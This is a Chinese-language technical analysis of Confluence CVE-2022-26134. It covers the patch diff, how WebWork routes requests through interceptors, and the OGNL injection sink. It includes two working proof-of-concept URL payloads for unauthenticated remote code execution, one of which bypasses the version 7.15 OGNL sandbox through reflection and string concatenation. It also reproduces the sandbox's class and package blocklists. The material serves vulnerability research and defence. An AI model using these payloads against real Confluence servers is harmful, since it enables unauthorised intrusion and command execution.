confluence-CVE-2022-26134漏洞分析
漏洞背景
官方链接:https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
SummaryCVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability in Confluence Server and Data CenterAdvisory Release Date02 Jun 2022 1 PM PDT (Pacific Time, -7 hours)Affected ProductsConfluenceConfluence ServerConfluence Data CenterAffected VersionsAll supported versions of Confluence Server and Data Center are affected.Confluence Server and Data Center versions after 1.3.0 are affected.Fixed Versions7.4.17 7.13.7 7.14.3 7.15.2 7.16.4 7.17.4 |
7.18.1
所有版本的 Confluence 和 DataCenter 都会受影响
临时修复方式:
- 7.15.0-7.18.0: 替换
xwork-1.0.3-atlassian-10.jar
文件 - 6.0.0-7.14.2: 替换以下文件
- xwork-1.0.3-atlassian-10.jar
- webwork-2.1.5-atlassian-4.jar
- CachedConfigurationProvider.class
代码分析
diff 补丁
对xwork-1.0.3-atlassian-10.jar
和低版本进行反编译 diff
区别在于将
finalNamespace = TextParseUtil.translateVariables(this.namespace, stack = ActionContext.getContext().getValueStack()) finalActionName = TextParseUtil.translateVariables(this.actionName, stack))
修改为
finalNamespace = this.namespace, finalActionName = this.actionName
少了TextParseUtil.translateVariables()
的流程
该函数处理调用了
Object o = OgnlValueStack.findValue(g); ... Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
较为明显的ognl
表达式注入,那我们来看一下具体的触发流程。
WebWork 框架分析
Confluence
使用 WebWork
框架,框架调用流转图, 整个 HTTP 请求逻辑是随着这个框架处理流程来的。
- 客户发起 HTTP 流程访问
- 按照 servlet 规范,先由 filter 进行处理,然后由 WebWork 核心控制器
ServletDispatcher
进行处理 - WebWork 根据
xwork.xml
配置文件 来处理请求:在配置文件中定义路由对应的拦截器,业务逻辑,业务逻辑响应等部分 - 先依次调用拦截器(before),然后再由业务逻辑处理
- 根据业务逻辑返回的响应类型对响应进行渲染
- 依次调用拦截器(after),然后将响应输出
confluence 在web.xml
中引入WebWork
框架配置
action com.atlassian.confluence.servlet.ConfluenceServletDispatcher 1 action *.action
ConfluenceServletDispatcher
基类com.opensymphony.webwork.dispatcher.ServletDispatcher
框架配置说明文件:xwork.xml
文件,在 jar 包confluence-版本号.jar
中
对配置文件进行说明
一个Demo ?
action 映射逻辑,指定 url 映射的处理类
请求如下的url/person/jasperList.action
- package 命名空间 name:
person
, namespaceperson
, 对应一级路径 - action 最小的处理单元,name:
jasperList
, 对应二级路径,class 处理类:com.opensymphony.webwork.showcase.jasper.JasperAction
- result 响应结果是枚举类型 "success", 响应类型为
jasper
- param 参数:参数名和参数类型
再举一个例子 login.action
confluence 7.4.10 版本 xwork.xml 文件,default
命名空间下的login action
,访问路径/login.action
- package 命名空间 name:
default
,在未匹配到命名空间的情况下映射到该命名空间处理。(注意此刻一级目录为空) - action name:
login
, class 处理类:com.atlassian.confluence.user.actions.LoginAction
, 处理方法doDefault
interceptor-ref
:validatingStack
,引用拦截器validatingStack
响应结果
input, 类型为 velocity,使用login.vm
进行渲染
interceptor-ref
配置的拦截器集合validatingStack
,其中又引用了defaultStack
,captcha
,validator
,workflow
,profiling
等拦截器, 拦截器集合是可以进行嵌套的。
"validatingStack"> "defaultStack"/> "captcha"/> "validator"/> "workflow"/> "profiling"> "location">After validatingStack
再再举一个例子 index.action
在default
命名空间下,默认访问的 action 为index
,访问根目录会使用index
进行响应
"index" class="com.atlassian.confluence.core.actions.IndexAction"> "defaultStack"/> "redirect" type="redirect">${location} "forward" type="dispatcher">${location}
配置了defaultStack
进行处理
看一下defaultStack
拦截器的配置,注意拦截器是按照配置依次调用的,存在顺序。
"defaultStack"> "profiling"> "location">Before defaultStack "securityHeaders"/> "setupIncomplete"/> "transaction"/> "params"/> "autowire"/> "lastModified"/> "servlet"/> "flashScope"/> "confluenceAccess"/> "spaceAware"/> "pageAware"/> "commentAware"/> "userAware"/> "prepare"/> "bootstrapAware"/> "permissions"/> "cancel"/> "loggingContext"/> "eventPublisher"/> "messageHolder"/> "httpRequestStats"/> "licenseChecker"/> "xsrfToken"/> "profiling"> "location">After defaultStack
关注其中的confluenceAccess
拦截器,该拦截器定义如下
"confluenceAccess" class="com.atlassian.confluence.security.interceptors.ConfluenceAccessInterceptor" />
intercept 函数
如果!this.isAccessPermitted(actionInvocation)
返回为否,那么调用actionInvocation.invoke()
, 调用下一个 intercept,如果返回为真,也就是没有权限,返回为notpermitted
。
默认未授权访问,即action=index
时,是没有权限的,此刻会响应notpermitted
,result
类型之一
如果授权会调用actionInvocation.invoke()
,调用下一个拦截器,如果响应resultCode
,会调用this.execuResult()
, 大家可以回想一下 WebWork 的数据流图。代码逻辑如下
如果响应有权限,那么会递归调用actionInvocation.invoke()
, 否则输出 resultCode,进入 executeResult()。
接下来跟踪调用栈,ActionChainResult#exec
调用了TextParseUtil@translateVariables
, 然后就快进到 ongl 表达式的执行流程了
可知 namespace 是我们可控的 url 路径参数
可以函数com.opensymphony.xwork.util.OgnlValueStack#findValue
看到调用Ognl.getValue
即可造成 ognl 代码执行
相应poc
如下
GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1 Host: 10.211.55.8:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=4290F6F6B5E0E923B2905B45CBE887AB Upgrade-Insecure-Requests: 1
绕沙箱
关注一下com.opensymphony.xwork.util.OgnlValueStack#findValue
实现
官方说明:https://confluence.atlassian.com/doc/preparing-for-confluence-7-15-1087507468.html
在 7.15 版本中添加,阻止对 java 特定类和特定包访问,与https://struts.apache.org/security/#internal-security-mechanism
相似
表达式经过safeExpressionUtil.isSafeExpression
判断
com.opensymphony.xwork.util.SafeExpressionUtil
沙箱类分析
关键配置
- xwork.excludedClasses - a comma-separated list of excluded classes.
- xwork.excludedPackageNames - a comma-separated list of excluded packages, used to restrict all classes inside a particular package or its sub-packages.
- xwork.allowedClasses - a comma-separated list of particular classes to be marked as allowed specifically, even if the parent package is restricted or its static method is used.
黑白名单列表
"xwork.excludedClasses" value=" java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang.Shutdown, java.lang.ProcessBuilder, java.lang.Thread, sun.misc.Unsafe, com.opensymphony.xwork.ActionContext java.lang.Compiler, java.lang.InheritableThreadLocal, java.lang.Package, java.lang.Process, java.lang.RuntimePermission, java.lang.SecurityManager, java.lang.ThreadGroup, java.lang.ThreadLocal, javax.script.ScriptEngineManager, javax.servlet.ServletContext, javax.persistence.EntityManager, org.apache.tomcat.InstanceManager, org.springframework.context.ApplicationContext, com.atlassian.applinks.api.ApplicationLinkRequestFactory, com.atlassian.core.util.ClassLoaderUtils, com.atlassian.core.util.ClassHelper" /> "xwork.excludedPackageNames" value=" ognl, java.io, java.net, java.nio, javax, freemarker.core, freemarker.template, freemarker.ext.jsp, freemarker.ext.rhino, sun.misc, sun.reflect, javassist, org.apache.velocity, org.objectweb.asm, org.springframework.context, com.opensymphony.xwork.util, org.apache.tomcat, org.apache.catalina.core, org.wildfly.extension.undertow.deployment java.lang.reflect, com.atlassian.cache, com.atlassian.confluence.util.http, com.atlassian.failurecache, com.atlassian.vcache, com.atlassian.sal.api.net, com.google.common.cache, com.google.common.net, com.hazelcast,java.jms, java.rmi, javax.management, javax.naming, org.apache.catalina.session, org.apache.commons.httpclient, org.apache.httpcomponents.httpclient, org.apache.http.client, org.ehcache, com.google.common.reflect, com.sun.jmx,com.sun.jna, javax.xml,jdk.nashorn, net.bytebuddy, net.sf.cglib,org.apache.bcel, org.javassist,org.ow2.asm, sun.awt.shell, sun.corba, sun.invoke, sun.launcher, sun.management, sun.misc, sun.net, sun.nio, sun.print, sun.reflect, sun.rmi, sun.security, sun.tracing, sun.tools.jar, com.atlassian.activeobjects, com.atlassian.hibernate, java.sql, javax.persistence, javax.sql, liquibase, net.java.ao, net.sf.hibernate, com.atlassian.confluence.setup.bandana, com.atlassian.filestore, com.atlassian.media, com.google.common.io, java.util.jar, java.util.zip, org.apache.commons.io, com.atlassian.confluence.impl.util.sandbox, com.atlassian.confluence.util.io, com.atlassian.confluence.util.sandbox, com.atlassian.quartz, com.atlassian.scheduler, com.atlassian.utils.process, com.atlassian.util.concurrent, io.atlassian.util.concurrent, java.util.concurrent, org.apache.commons.exec, org.springframework.expression.spel, org.springframework.util.concurrent, org.quartz, oshi" /> "xwork.allowedClasses" value="com.atlassian.confluence.util.GeneralUtil, java.io.Serializable, java.lang.reflect.Proxy, net.sf.hibernate.proxy.HibernateProxy, net.sf.cglib.proxy.Factory, java.io.ObjectInputValidation, net.java.ao.Entity, net.java.ao.RawEntity, net.java.ao.EntityProxyAccessor" />
沙箱核心逻辑,调用OgnlUtil.compile
对表达式进行解析,对每一个 node compile 之后进行递归的安全判断。
private boolean isSafeExpressionInternal(String expression, Set visitedExpressions) { if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) { if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression)) { return false; } if (this.isUnSafeClass(expression)) { this.UNSAFE_EXPRESSIONS_CACHE.add(expression); return false; } if (SourceVersion.isName(this.trimQuotes(expression)) && this.allowedClassNames.contains(this.trimQuotes(expression))) { this.SAFE_EXPRESSIONS_CACHE.add(expression); } else { try { Object parsedExpression = OgnlUtil.compile(expression); if (parsedExpression instanceof Node) { if (this.containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) { this.UNSAFE_EXPRESSIONS_CACHE.add(expression); log.debug(String.format("Unsafe clause found in [\" %s \"]", expression)); } else { this.SAFE_EXPRESSIONS_CACHE.add(expression); } } } catch (RuntimeException | OgnlException var4) { this.SAFE_EXPRESSIONS_CACHE.add(expression); log.debug("Cannot verify safety of OGNL expression", var4); } } } return this.SAFE_EXPRESSIONS_CACHE.contains(expression); }
通过字符串拼接的方式绕过 node 类型为ASTconstant
判断逻辑
private boolean containsUnsafeExpression(Node node, Set visitedExpressions) { String nodeClassName = node.getClass().getName(); if (UNSAFE_NODE_TYPES.contains(nodeClassName)) { return true; } else if ("ognl.ASTStaticMethod".equals(nodeClassName) && !this.allowedClassNames.contains(getClassNameFromStaticMethod(node))) { return true; } else if ("ognl.ASTProperty".equals(nodeClassName) && this.isUnSafeClass(node.toString())) { return true; } else if ("ognl.ASTMethod".equals(nodeClassName) && this.unsafeMethodNames.contains(getMethodInOgnlExp(node))) { return true; } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) { return true; } else if ("ognl.ASTConst".equals(nodeClassName) && !this.isSafeConstantExpressionNode(node, visitedExpressions)) { return true; } else { for(int i = 0; i < node.jjtGetNumChildren(); ++i) { Node childNode = node.jjtGetChild(i); if (childNode != null && this.containsUnsafeExpression(childNode, visitedExpressions)) { return true; } } return false; } }
两个关键点
- 利用反射构造恶意对象及实例
- 利用字符串拼接绕过常量匹配
对应 poc 如下
/%24%7BClass.forName(%22java%22%2B%22x.script.Script%22%2B%22EngineManager%22).newInstance().getEngineByName(%22nashorn%22).eval(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/test2%27)%22)%7D/
